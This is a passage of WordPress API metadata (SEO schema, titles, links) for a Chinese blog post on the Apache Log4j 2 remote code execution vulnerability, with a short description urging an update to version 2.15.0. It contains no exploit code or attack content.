class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/\"},\"author\":{\"name\":\"SimpleAstronaut\",\"@id\":\"https:\\\/\\\/lmceric.top\\\/#\\\/schema\\\/person\\\/1edca9cfe5ff17dbe947c332a66ee539\"},\"headline\":\"Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3\",\"datePublished\":\"2021-12-11T03:38:54+00:00\",\"dateModified\":\"2021-12-11T03:38:55+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/\"},\"wordCount\":176,\"commentCount\":2,\"image\":{\"@id\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/lmceric.top\\\/wp-content\\\/uploads\\\/2021\\\/12\\\/1000.png\",\"keywords\":[\"web\",\"\u4e92\u8054\u7f51\",\"\u4e92\u8054\u7f51\u6280\u672f\",\"\u7f51\u7edc\u5b89\u5168\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/\",\"url\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/\",\"name\":\"Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3 - LMC\u7684\u4e2a\u4eba\u7ad9\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/lmceric.top\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/lmceric.top\\\/wp-content\\\/uploads\\\/2021\\\/12\\\/1000.png\",\"datePublished\":\"2021-12-11T03:38:54+00:00\",\"dateModified\":\"2021-12-11T03:38:55+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/lmceric.top\\\/#\\\/schema\\\/person\\\/1edca9cfe5ff17dbe947c332a66ee539\"},\"description\":\"2021\u5e7411\u670824\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u5411Apache\u5b98\u65b9\u62a5\u544a\u4e86Apache Log4j2\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u30022021\u5e7412\u670810\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u53d1\u73b0 Apache Log4j 2.15.0-rc1 \u7248\u672c\u5b58\u5728\u6f0f\u6d1e\u7ed5\u8fc7\uff0c\u8bf7\u53ca\u65f6\u66f4\u65b0\u81f3 Apache Log4j 2.15.0 \u6b63\u5f0f\u7248\u672c\u3002 %\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/#primaryimage\",\"url\":\"https:\\\/\\\/lmceric.top\\\/wp-content\\\/uploads\\\/2021\\\/12\\\/1000.png\",\"contentUrl\":\"https:\\\/\\\/lmceric.top\\\/wp-content\\\/uploads\\\/2021\\\/12\\\/1000.png\",\"width\":1000,\"height\":542},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/2021\\\/12\\\/11\\\/45\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\\\/\\\/lmceric.top\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/lmceric.top\\\/#website\",\"url\":\"https:\\\/\\\/lmceric.top\\\/\",\"name\":\"LMC\u7684\u4e2a\u4eba\u7ad9\",\"description\":\"\u5b64\u5e06\u8fdc\u5f71\u78a7\u7a7a\u5c3d\uff0c\u552f\u89c1\u957f\u6c5f\u5929\u9645\u6d41\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/lmceric.top\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/lmceric.top\\\/#\\\/schema\\\/person\\\/1edca9cfe5ff17dbe947c332a66ee539\",\"name\":\"SimpleAstronaut\",\"sameAs\":[\"http:\\\/\\\/lmceric.top\"],\"url\":\"https:\\\/\\\/lmceric.top\\\/index.php\\\/author\\\/simpleastronaut\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3 - LMC\u7684\u4e2a\u4eba\u7ad9","description":"2021\u5e7411\u670824\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u5411Apache\u5b98\u65b9\u62a5\u544a\u4e86Apache Log4j2\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u30022021\u5e7412\u670810\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u53d1\u73b0 Apache Log4j 2.15.0-rc1 \u7248\u672c\u5b58\u5728\u6f0f\u6d1e\u7ed5\u8fc7\uff0c\u8bf7\u53ca\u65f6\u66f4\u65b0\u81f3 Apache Log4j 2.15.0 \u6b63\u5f0f\u7248\u672c\u3002 %","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/","og_locale":"zh_CN","og_type":"article","og_title":"Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3 - LMC\u7684\u4e2a\u4eba\u7ad9","og_url":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/","og_site_name":"LMC\u7684\u4e2a\u4eba\u7ad9","article_published_time":"2021-12-11T03:38:54+00:00","article_modified_time":"2021-12-11T03:38:55+00:00","og_image":[{"url":"https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000.png","type":"","width":"","height":""}],"author":"SimpleAstronaut","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"SimpleAstronaut","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"3 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/#article","isPartOf":{"@id":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/"},"author":{"name":"SimpleAstronaut","@id":"https:\/\/lmceric.top\/#\/schema\/person\/1edca9cfe5ff17dbe947c332a66ee539"},"headline":"Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3","datePublished":"2021-12-11T03:38:54+00:00","dateModified":"2021-12-11T03:38:55+00:00","mainEntityOfPage":{"@id":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/"},"wordCount":176,"commentCount":2,"image":{"@id":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/#primaryimage"},"thumbnailUrl":"https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000.png","keywords":["web","\u4e92\u8054\u7f51","\u4e92\u8054\u7f51\u6280\u672f","\u7f51\u7edc\u5b89\u5168"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/","url":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/","name":"Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3 - LMC\u7684\u4e2a\u4eba\u7ad9","isPartOf":{"@id":"https:\/\/lmceric.top\/#website"},"primaryImageOfPage":{"@id":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/#primaryimage"},"image":{"@id":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/#primaryimage"},"thumbnailUrl":"https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000.png","datePublished":"2021-12-11T03:38:54+00:00","dateModified":"2021-12-11T03:38:55+00:00","author":{"@id":"https:\/\/lmceric.top\/#\/schema\/person\/1edca9cfe5ff17dbe947c332a66ee539"},"description":"2021\u5e7411\u670824\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u5411Apache\u5b98\u65b9\u62a5\u544a\u4e86Apache Log4j2\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u30022021\u5e7412\u670810\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u53d1\u73b0 Apache Log4j 2.15.0-rc1 \u7248\u672c\u5b58\u5728\u6f0f\u6d1e\u7ed5\u8fc7\uff0c\u8bf7\u53ca\u65f6\u66f4\u65b0\u81f3 Apache Log4j 2.15.0 \u6b63\u5f0f\u7248\u672c\u3002 %","breadcrumb":{"@id":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/"]}]},{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/#primaryimage","url":"https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000.png","contentUrl":"https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000.png","width":1000,"height":542},{"@type":"BreadcrumbList","@id":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/lmceric.top\/"},{"@type":"ListItem","position":2,"name":"Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3"}]},{"@type":"WebSite","@id":"https:\/\/lmceric.top\/#website","url":"https:\/\/lmceric.top\/","name":"LMC\u7684\u4e2a\u4eba\u7ad9","description":"\u5b64\u5e06\u8fdc\u5f71\u78a7\u7a7a\u5c3d\uff0c\u552f\u89c1\u957f\u6c5f\u5929\u9645\u6d41","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/lmceric.top\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/lmceric.top\/#\/schema\/person\/1edca9cfe5ff17dbe947c332a66ee539","name":"SimpleAstronaut","sameAs":["http:\/\/lmceric.top"],"url":"https:\/\/lmceric.top\/index.php\/author\/simpleastronaut\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/lmceric.top\/index.php\/wp-json\/wp\/v2\/posts\/45","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lmceric.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lmceric.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lmceric.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lmceric.top\/index.php\/wp-json\/wp\/v2\/comments?post=45"}],"version-history":[{"count":2,"href":"https:\/\/lmceric.top\/index.php\/wp-json\/wp\/v2\/posts\/45\/revisions"}],"predecessor-version":[{"id":48,"href":"https:\/\/lmceric.top\/index.php\/wp-json\/wp\/v2\/posts\/45\/revisions\/48"}],"wp:attachment":[{"href":"https:\/\/lmceric.top\/index.php\/wp-json\/wp\/v2\/media?parent=45"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lmceric.top\/index.php\/wp-json\/wp\/v2\/categories?post=45"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lmceric.top\/index.php\/wp-json\/wp\/v2\/tags?post=45"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}